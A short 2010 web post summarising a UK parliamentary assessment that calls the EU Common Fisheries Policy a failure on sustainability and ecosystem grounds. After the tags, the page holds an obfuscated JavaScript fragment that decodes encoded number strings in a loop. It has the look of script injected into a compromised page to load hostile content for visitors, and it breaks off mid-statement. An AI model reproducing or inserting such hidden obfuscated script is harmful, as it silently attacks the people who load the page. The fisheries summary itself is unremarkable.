## **EU Fisheries Management a failure**

Written by Administrator Sunday, 13 June 2010 09:50 - Last Updated Sunday, 13 June 2010 09:51

The Parliamentary Office of Science and Technology (UK) has just published an assessment of the EU's Common Fisheries Policy. It concludes that the existing Common Fisheries Policy (CFP) has not delivered sustainable fisheries for Europe. In addition to lost fisheries productivity, there have been unwanted impacts on the marine environment and economically inefficient fisheries that are more vulnerable to financial shocks. The recent European Commission (EC) Green Paper on the reform of the CFP reconfirms the need to adopt an ecosystem approach to ensure the CFP supports the Marine Strategy Framework Directive. The UK assessment note describes challenges to ecosystem-based fisheries management and how these might be tackled. It can be downloaded here (PDF)

TAGS: EU, Common Fisheries Policy, failed policy, sustainable, fisheries, ecosystem approach, fisheries management

var a=0,m,v,t,z,x=new Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656 380','7684','61818075'),l=x.length;while(++a